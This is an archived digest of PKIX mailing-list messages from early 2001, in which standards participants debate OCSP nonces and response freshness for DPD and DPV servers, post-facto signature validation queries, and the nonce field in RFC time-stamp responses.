> >server downstream (upstream? which way does this stream flow?) put the
> >nonces in queries that were relayed to other servers.  If the client can
> >make do without replay protection, why were nonces put in the
> OCSP protocol
> >in the first place?  Note that this isn't a deficiency of OCSP.  The same
> >thing would be true of DPV, DPD or SCVP if those responses were returned
> >in DPD responses.
>
> OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP
> response, even if it carries an optional nonce, does not provide the
> desired freshness guarantee for the client, who is unable to
> independently evaluate the timeliness of the response. Our current
> proposal implicitly requires the client to trust the DPD server,
> which violates our model for DPD vs. DPV.
>
> It also raises a related, subtle issue, namely what service(s) should
> a DPD server provide when OCSP is employed. The server could be
> required to use a nonce supplied by the client in a real time query
> to an OCSP server, in an effort to provide a transitive freshness
> guarantee. But that does away with the presumed caching benefit that
> might accrue from using a DPD server. If the server caches OCSP
> queries, then the client has to trust the server, because the client
> cannot have influenced the query a priori, and/or because the query
> might be returned to multiple clients (who would not have coordinated
> their nonce choices). This latter situation looks a lot like an OCSP
> server that pre-signs responses and thus does not even make use of a
> nonce.
>
> As described above, it seems that the problem has a lot to do with
> the option for transitive nonce use by a DPD server, and maybe with
> the need for such servers to allow a client to specify such service,
> and less with what I gleaned from Peter's message, which seemed to
> focus on techniques by which a server could more efficiently protect
> itself from replayed client queries. Yes, such techniques could be
> used by a server here to reduce its vulnerability to replayed
> queries, but that seems to be a secondary issue relative to the more
> fundamental one we face with regard to DPD and OCSP.
>
> Maybe we should settle for CRLs here and avoid this mess :-)
>
> Steve
>
>

From: Peter Sylvester <[email-masked]>
Date: Thu, 1 Feb 2001 19:18:01 +0100 (MET)
To: [email-masked], [email-masked]
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: [email-masked]

> 
> OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP 
> response, even if it carries an optional nonce, does not provide the 
> desired freshness guarantee for the client, who is unable to 
> independently evaluate the timeliness of the response. Our current 
> proposal implicitly requires the client to trust the DPD server, 
> which violates our model for DPD vs. DPV.

An OCSP responce contains a ProducedAt field. 

Similar as with a CRL obtained from a directory a client has to
determine the freshness of the response. 

Date: Thu, 1 Feb 2001 12:15:55 -0500
To: "Carlin Covey" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: <[email-masked]>

Carlin,

><snip>
>[Carlin]:
>I agree that if the client is going to trust the DPV server
>to give a correct status response, the client should also trust the
>DPV server to check the nonces in any responses that the server receives
>from queries that it relays to other servers. 
>
>But what about a DPD query?  The client gets back a list of certificates
>and a set of certificate status information that may contain OCSP responses
>with nonces in them.  But the client can't use the nonces to protect itself
>against replay, because the client didn't generate those nonces.  Some
>server downstream (upstream? which way does this stream flow?) put the
>nonces in queries that were relayed to other servers.  If the client can
>make do without replay protection, why were nonces put in the OCSP protocol
>in the first place?  Note that this isn't a deficiency of OCSP.  The same
>thing would be true of DPV, DPD or SCVP if those responses were returned
>in DPD responses.

OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP 
response, even if it carries an optional nonce, does not provide the 
desired freshness guarantee for the client, who is unable to 
independently evaluate the timeliness of the response. Our current 
proposal implicitly requires the client to trust the DPD server, 
which violates our model for DPD vs. DPV.

It also raises a related, subtle issue, namely what service(s) should 
a DPD server provide when OCSP is employed. The server could be 
required to use a nonce supplied by the client in a real time query 
to an OCSP server, in an effort to provide a transitive freshness 
guarantee. But that does away with the presumed caching benefit that 
might accrue from using a DPD server. If the server caches OCSP 
queries, then the client has to trust the server, because the client 
cannot have influenced the query a priori, and/or because the query 
might be returned to multiple clients (who would not have coordinated 
their nonce choices). This latter situation looks a lot like an OCSP 
server that pre-signs responses and thus does not even make use of a 
nonce.

As described above, it seems that the problem has a lot to do with 
the option for transitive nonce use by a DPD server, and maybe with 
the need for such servers to allow a client to specify such service, 
and less with what I gleaned from Peter's message, which seemed to 
focus on techniques by which a server could more efficiently protect 
itself from replayed client queries. Yes, such techniques could be 
used by a server here to reduce its vulnerability to replayed 
queries, but that seems to be a secondary issue relative to the more 
fundamental one we face with regard to DPD and OCSP.

Maybe we should settle for CRLs here and avoid this mess :-)

Steve

From: Peter Sylvester <[email-masked]>
Date: Thu, 1 Feb 2001 15:32:49 +0100 (MET)
To: [email-masked], [email-masked]
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Cc: [email-masked]

> yuriy> To support non-repudiation, all you need is the ability to retrieve
> evidence to show that the signature was valid/invalid at the time in
> question.  Where that is done should not matter, although some approaches
> are better than others, and may be easier to prove in court.

You need an evidence that the document in question was signed at the
time in question by the entity in question. 

The validity of the signing certificate may not be sufficient for that.

> 
> > RPs should have a
> > capability to rely on a service to do this for them, especially smaller
> > institutions that do not want to go through the effort to implement such a
> > capability within their organization.
> 
> At the time you first receive a signature you had better to make sure that
> it is a valid one. So at the time you make the first verification, either
> yourself or using a remote server (like DPV), it is easy to grasp the proof
> and save it either locally or remotely. There is thus no need for
> post-validation.

> yuriy> I understand your solution, and I agree that some RPs will operate
> this way.  But in some communities that I am working in, like mortgages,
> smaller institutions desire the capability to perform a post-facto query.

Wouldn't your environment better be suited by a service that does not
ask for a validity of a certificate chain, but for the validity of a
signed document?  

> 
> > In addition, I think it is helpful to have a capability to perform
> > post-facto queries when for some reason the DPV service is originally
> > unavailable.
> 
> Making a query an hour later is fairly different from making the query 10
> years later.
> yuriy> But in essence, it is the same sort of query.  Was this signature
> valid/invalid at some time before the present?

That is not the question you have asked with DPV.

> yuriy> Some solutions I have seen don't send the receipt until the signature
> has been validated.  Until then, the sender is told that a receipt is
> pending.  Nonetheless, you still need to validate the signature at some time
> before the present, regardless of how you handled the receipt.

What can happen in the (short) time between these events? 

- The certificate expires. Well, a user should probalby not make the
  request with a cert that has a lifetime of 2 minutes left.

- The certificate gets revoked. This is an exceptional case, and
  it is not clear in advance whether the sent message should be treated
  as valid or invalid. If the revocation is initiated by the user
  of the cert, then you fall into the previous case. 

- Nothing happens. Then the two validations deliver the same result. 
 
> > When it comes back up, the agency will want
> > to know if my signature was valid when the proposal was submitted (at
> > 11:55A), and not when the service comes back up.
> 
> If the service was down for only a few hours, this can easily be be done.
> Doing it, 10 years later is a different story.
> yuriy> Again, I think the request is not different, in that you are asking a
> server to tell you if a signature was valid at some time before the present.
> It should not matter if it is 10 hours before present, or 10 years before
> present.  I understand the additional storage requirements on the server to
> support requests that date back 10 years, but why would we say it is
> acceptable to define a protocol that supports post-facto queries up to some
> amount of time before present?

Again, this is not the question you make to the DPV server. 

The current logic of path validation takes as an input a date value. 
Thus, in a strictly formal way, it seems to me that a DPV server has to
support some date as an input. 

The format of asking 10 years later or 2 hours may be the same, but it
doesn't seem to make much sense to me to make an INITIAL verification
10 years later. 

Reply-To: <[email-masked]>
From: "Yuriy Dzambasow" <[email-masked]>
To: "Denis Pinkas" <[email-masked]>
Cc: "PKIX-List" <[email-masked]>
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Date: Thu, 1 Feb 2001 07:44:41 -0500
Importance: Normal

Denis,

Thanks for the response.  Please see comments below.

Yuriy

-----Original Message-----
From: Denis Pinkas [mailto:[email-masked]]
Sent: Wednesday, January 31, 2001 10:00 AM
To: [email-masked]
Cc: PKIX-List
Subject: Re: Post-facto queries [Was: RE: DPD & DPV requirements]

Yuriy,

> I think Tom captures the essence of why post-facto queries are needed.  I
> don't think we can assume that every RP will maintain its own information
to
> support non-repudiation disputes in the future.

If you are interrested to support non-repudiation, then you had better to
save the proof. You can save it on a server if you wish. But that server is
only providing a safe storage.
yuriy> To support non-repudiation, all you need is the ability to retrieve
evidence to show that the signature was valid/invalid at the time in
question.  Where that is done should not matter, although some approaches
are better than others, and may be easier to prove in court.

> RPs should have a
> capability to rely on a service to do this for them, especially smaller
> institutions that do not want to go through the effort to implement such a
> capability within their organization.

At the time you first receive a signature you had better to make sure that
it is a valid one. So at the time you make the first verification, either
yourself or using a remote server (like DPV), it is easy to grasp the proof
and save it either locally or remotely. There is thus no need for
post-validation.
yuriy> I understand your solution, and I agree that some RPs will operate
this way.  But in some communities that I am working in, like mortgages,
smaller institutions desire the capability to perform a post-facto query.

> In addition, I think it is helpful to have a capability to perform
> post-facto queries when for some reason the DPV service is originally
> unavailable.

Making a query an hour later is fairly different from making the query 10
years later.
yuriy> But in essence, it is the same sort of query.  Was this signature
valid/invalid at some time before the present?

> For example, I am a contractor submitting a proposal to the
> Federal Government, and the proposal needs to be in by noon on Friday.  I
> complete my proposal, sign and timestamp it, and submit it at 11:55A.  The
> Federal Agency receives my proposal, but for some reason their DPV service
> is down for a few hours; therefore, the agency cannot validate my
signature
> on the proposal at that time.

There is no need to do what you describe. An acknowledge of receipt may be
sent to the sender without the need to validate the signature, if any. Note
also that the sender may be different from the sender.
yuriy> Some solutions I have seen don't send the receipt until the signature
has been validated.  Until then, the sender is told that a receipt is
pending.  Nonetheless, you still need to validate the signature at some time
before the present, regardless of how you handled the receipt.

> When it comes back up, the agency will want
> to know if my signature was valid when the proposal was submitted (at
> 11:55A), and not when the service comes back up.

If the service was down for only a few hours, this can easily be be done.
Doing it, 10 years later is a different story.
yuriy> Again, I think the request is not different, in that you are asking a
server to tell you if a signature was valid at some time before the present.
It should not matter if it is 10 hours before present, or 10 years before
present.  I understand the additional storage requirements on the server to
support requests that date back 10 years, but why would we say it is
acceptable to define a protocol that supports post-facto queries up to some
amount of time before present?

Denis

> Yuriy

From: "Prashant Dambe" <[email-masked]>
To: "Jean-Marc Desperrier" <[email-masked]>, <[email-masked]>
Subject: Re: Query about nonce field in Time-stamp response.
Date: Thu, 1 Feb 2001 16:02:26 +0530

Is it required to have responder's signature over the Nonce as nonce will
never be used in the future time.
If it is so then nonce can be included like PKIStatusInfo which will be not
included in Timestamptoken.
If nonce has to be signed then why PKIStatusInfo is not included in
Signed-Data.

----- Original Message -----
From: Jean-Marc Desperrier <[email-masked]>
To: <[email-masked]>
Sent: Thursday, January 25, 2001 4:44 PM
Subject: Re: Query about nonce field in Time-stamp response.

> Prashant Dambe wrote:
>
> > Is it  required that Nonce should be included in  TSTInfo i.e the part
of
> > TimeStampToken ?
>
> Draft version 13 says :
> TSTInfo ::= SEQUENCE  {
>   ....
>      nonce                        INTEGER                  OPTIONAL,
>        -- MUST be present if the similar field was present
>        -- in TimeStampReq. In that case it MUST have the same value.
>
> So it's required, yes.
>
> > Nonce can be a part of Time-stamp response like PKIStatusInfo which will
be
> > not included in Timestamptoken.
>
> No such possibility is provided in the current form of the TimeStampResp.
> Anyway, the nonce would have to be signed by the responder, so what you
suggest
> requires a second signature, so that the nonce can be removed without
breaking
> the TSTInfo signature.
>
> If you don't want the nonce payload, the draft suggests to use both a
local
> clock and a moving time window during which the requester remembers all
the
> hashes sent during that time window.
>
> Bernd Matthes <[email-masked]> wrote:
> > I think it's a little auxiliary means against double timestamps.
> > A TSA should reject a time stamp query if the same
> > messageImprint *and* the same nonce found in it's database.
> > It's possible to get multiple timestamps ("re-new") for the
> > same document,message or whatever,
> > but *never* with already issued nonce value.
>
> My understanding until now is that's it's only up to the client to check
the
> nonce, and not to the server.
>
> So howewer interesting your idea is, the standard does not forbid a client
to
> do what you describe, for whatever reason, and the systematic rejection
could
> cause interoperability problems.
>
> If you did it, your clients would have to check their tools will never do
that,
> especially when resending the same request because the answer wasn't
received.
>
> Here's what Denis said recently which is quite related to this question :
>
> >> And additional badSenderNonce(18)?
> >This has not been added. I do not want to raise at this time questions
like:
> >what is a bad nonce ? or how does a server know it is a bad nonce ?